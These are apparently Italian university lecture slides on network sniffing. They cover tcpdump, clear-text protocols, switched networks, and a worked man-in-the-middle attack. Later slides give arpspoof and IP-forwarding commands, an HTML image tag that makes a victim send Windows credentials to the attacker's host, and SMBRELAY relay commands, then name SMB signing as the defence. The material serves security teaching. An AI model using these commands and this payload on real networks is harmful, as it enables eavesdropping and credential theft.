Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di...

27
Sniffing

Transcript of Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di...

Page 1: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Sniffing

Page 2: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Sniffer

• Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete.

• Un programma di "sniffing" permette a qualcuno di ascoltare delle conversazioni tra computers.

• Perciò, i programmi di intercettazione di rete vengono forniti con una funzionalità nota come "analisi di protocollo", che gli permette di "decodificare" il traffico fra computer e di dargli un senso.

• Lo sniffing ha un vantaggio rispetto all'intercettazione telefonica: diverse reti utilizzano un "supporto condiviso".

Page 3: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Sniffer ethernet

Uno Sniffer Ethernet è un programma in grado di “ascoltare” tutto il traffico che attraversa un dispositivo di rete piuttosto che intercettare solo quello indirizzato ad essa.

Per consentire questa funzionalità il dispositivo di rete deve essere impostato in modalità promiscua.

Page 4: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Ethernet• Ethernet è stata costruita su un principio di "condivisione": tutte le

macchine sulla stessa rete, condividono lo stesso cavo.

• Questo comporta che tutte le macchine sono in grado di "vedere" tutto il traffico.

• Così, l'hardware Ethernet viene costruito con un "filtro" che ignora tutto il traffico che non gli appartiene. Fa questo ignorando tutti i frames contenenti indirizzo MAC non corrispondenti al proprio.

• Un programma di intercettazione disattiva questo filtro, ponendo l'hardware Ethernet in "modalità promiscua". Così Marco potrà vedere tutto il traffico tra Alice e Roberto, finchè saranno tutti sullo stesso cavo Ethernet.

Page 5: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

ApplicazioniGli usi tipici di questi programmi di intercettazione includono: • Analisi automatica della rete alla ricerca di passwords e nomi

utente in chiaro: questo è un uso comune per gli hackers/crackers per consentirgli di accedere ai sistemi;

• Conversione dei dati in un formato umanamente leggibile: così che le persone possano leggere il traffico;

• Analisi delle anomalie: per scoprire eventuali problemi all'interno delle reti, come ad esempio, perchè il computer A non può comunicare con il computer B;

• Analisi delle prestazioni: per scoprire i colli di bottiglia nelle reti; • Rilevazione delle intrusioni di rete: così da rilevare

hackers/crackers (vedere http://www.robertgraham.com/pubs/network-intrusion-detection.html);

• Registrazione del traffico di rete: per creare registri a cui gli hackers non possano accedere e quindi cancellare.

Page 6: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Servizi vulnerabili• Telnet e rlogin

La cattura dei pacchetti permette di avere i tasti che l'utente preme man mano che questi vengono

• HTTPLa versione di default di HTTP ha numerosi bachi. Diversi siti web utilizzano il metodo di autenticazione "Basic", che invia le password sul cavo in chiaro. Altri siti web utilizzano un'altra tecnica, richiedendo all'utente un nome utente ed una password, ma anche in questo caso i dati vengono inviati in rete in chiaro.

• SNMPPraticamente tutto il traffico SNMP è di tipo SNMPv1, il che non presenta un buon livello di sicurezza. Le password SNMP (chiamate stringa di comunità) vengono inviate sul cavo in chiaro.

• NNTPPassword inviate in chiaro. Dati inviati in chiaro.

• POPPassword inviate in chiaro. Dati inviati in chiaro.

• FTPPassword inviate in chiaro. Dati inviati in chiaro.

• IMAPPassword inviate in chiaro. Dati inviati in chiaro.

Page 7: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Applicativi sniffer

Gli strumenti software utilizzati per eseguire Packet Sniffing sono detti “Sniffer”.

• Tcpdump

• Ethereal (grafico, ma esiste la versione testuale Tethereal)

• Dsniff

• Snort

• Sniffit

Page 8: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Hub e switch

• Per “sniffare” pacchetti occorre, fondamentalmente far funzionare lo Sniffer su una rete LAN connessa con un HUB e non con uno SWITCH.

• In una rete “hubbed” di n pc (A, B, C, …), se F vuole comunicare con C, i dati passano attraverso l’HUB.

Page 9: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Lo switch

Uno SWITCH “conosce” sia quali sono i pc connessi, sia dove sono.

Page 10: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Ingannare lo switch

Ciò rende più impegnativa l’attività di Packet Sniffing…

MA NON IMPOSSIBILE!!!

Page 11: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Esempio

tcpdump [ -adeflnNOpqRStuvxX ] [ -c count ]

[ -C file_size ] [ -F file ]

[ -i interface ] [ -m module ] [ -r file ]

[ -s snaplen ] [ -T type ] [ -w file ]

[ -E algo:secret ] [ expression ]

Tcpdump stampa a video l’header dei pacchetti in transito su una LAN che corrispondono alle caratteristiche indicate in expression.

Page 12: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Tcpdump: expressions

• Con le expression si definiscono i criteri qualitativi coi quali scegliere i pacchetti da visualizzare.

• Le expression consistono in una o più primitive precedute da “qualificatori”.

• I qualificatori sono: type, dir e proto.

Page 13: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Tcpdump qualificatori

• Type: host, net e port– Es. ‘host 155.185.54.156’, ‘port 22’, ecc.

• Dir: src, dst, src or dst– Es. ‘src 155.185.54.156’

• Proto: ether, fddi, tr, ip, ip6, arp, rarp, decnet, tcp and udp– Es. ‘tcp port 21‘, ‘arp net 155.185.54’

Page 14: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Esempi di pacchetticabernet:/home/bulgaro# tcpdump 'port 22'

• 16:30:08.161783 cabernet.ing.unimo.it.40526 > twist.ing.unimo.it.ssh: S 1415445902:1415445902(0) win 5840 <mss 1460,sackOK,timestamp 20984976 0,nop,wscale 0> (DF)

• 16:30:08.161917 twist.ing.unimo.it.ssh > cabernet.ing.unimo.it.40526: S 1970918816:1970918816(0) ack 1415445903 win 5792 <mss 1460,sackOK,timestamp 34225219 20984976,nop,wscale 0> (DF)

• 16:30:08.161948 cabernet.ing.unimo.it.40526 > twist.ing.unimo.it.ssh: . ack 1 win 5840 <nop,nop,timestamp 20984976 34225219> (DF)

Page 15: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Attaccare una comunicazione

• Consideriamo tre macchine (A, B, C) collegate mediante uno switch

• Usiamo tcpdump per monitorare il traffico

• Se A e B stanno dialogando cosa vediamo sulla tre macchine ?????

Page 16: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Il protocollo ARP

• All’avvio A e B dovranno scambiarsi dei messaggi che permettano di associare i loro indirizzi IP a quelli fisici Ethernet

La terza macchina vedrà l’unico pacchetto:

16:38:36.501274 arp who-has 192.168.1.3 tell 192.168.1.1

La risposta verrà inviata da 192.168.1.3 a 192.148.1.1:

16:38:36.509581 arp reply 192.168.1.3 is at 08:00:20:77:4d:db

Page 17: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Il protocollo ARP

• È possibile ingannare il richiedente ?

• Le tabelle ARP sono dinamiche ….

• Il comando arp –a permette di visualizzare la cache ARP

Page 18: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Corrompere la cache ARP

• Arpspoof:

Usage: arpspoof [-i interface] [-t target] host

Il host è la macchina che riceve i pacchetti che vogliamo intercettare

Il target è la macchina che vogliamo ingannare corrompendo la cache ARP

Page 19: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Corrompere la cache ARP

Per ottenere intergettare una intera comunicazione bilaterale occorre lanciare due volte il programma:

#./arpspoof –i eth0 –t 192.168.1.1 192.168.1.3

#./arpspoof –i eth0 –t 192.168.1.3 192.168.1.1

Page 20: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Completare l’opera

Affinché i pacchetti ritornino poi al corretto destinatario occorre che la macchina C li forwardi verso la corretta destinazione:

#echo 1 > /proc/sys/net/ipv4/ip_forward

Page 21: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

MITM

MITM: Man in the Middle

• È una tipologia di attacco

• Nell’esempio precedente ci siamo inseriti in un comunicazione

• Potremmo modificare i pacchetti …..

• Vediamo come sfruttare la situazione….

Page 22: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Attuare un attacco MITM

Un sistema windows quando cerca di accedere ad una cartella remota si presenta con login ed hash della password usata dall’utente connesso alla macchina locale

Mettendosi nel mezzo si può intercettare la password

Per crackarla ….. Ma non solo

Page 23: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

SMB di windows

• Il protocollo SMB di windows serve ad accedere a file remoti

• Il server è attivo sulle porte TCP 139 e TCP 445• Un semplice collegamento in un pagina html

forza la vittima ad accedere alla nostra macchina presentando le proprie credenziali (cifrate):<img src=file://10.0.0.1/null.gif height=1 width=1></img>

Page 24: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Un programma utile !?

SMBRELAY può essere utilizzato per catturare queste informazioni

Occorre:

• Disabilitare i listeners di window ….

• Lanciare SMBRELAY

SMBRELAY /E //visualizza le interfacce SMBRELAY /IR 10006 /IL 10006 /T 10.0.0.10 /R 10.0.0.50

Page 25: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Il relay

• Sia 10.11.22.33 la macchina con SMBRELAY in esecuzione (la nostra attacente 1)

• Sia 10.0.0.50 un secondo indirizzo IP che diamo all’interfaccia 10006 della nostra macchina

• Sia 10.0.0.10 la nostra vittima

Forziamo in qualche modo la vittima a collegarsi a 10.11.22.33 (es. la pag html)

Page 26: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Attuare l’attacco

• SMBRELAY memorizza le credenziali della vittima quando questa cerca di accedere

• Interompe la sessione e ne apre una nuova verso la vittima ripresentando le stesse credenziali

• SMBRELAY effettuerà il relay di qualunque richiesta inviata a 10.0.0.50 alla macchina vittima insieme alle sue stesse credenziali

• Accedendo ad un cartella condivisa: \\10.0.0.50\docs

in realtà la nostra richiesta viene fatta rimbalzare su 10.0.0.1 con le credenziali corrette

Page 27: Sniffing. Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma.

Come difendersi

• Esiste da tempo un servizio SMB signing

• È possibile attivarlo agendo sul registro già in NT Server ed NT workstation (SP3)

• Esso annulla la possibilità di usare SMBRELAY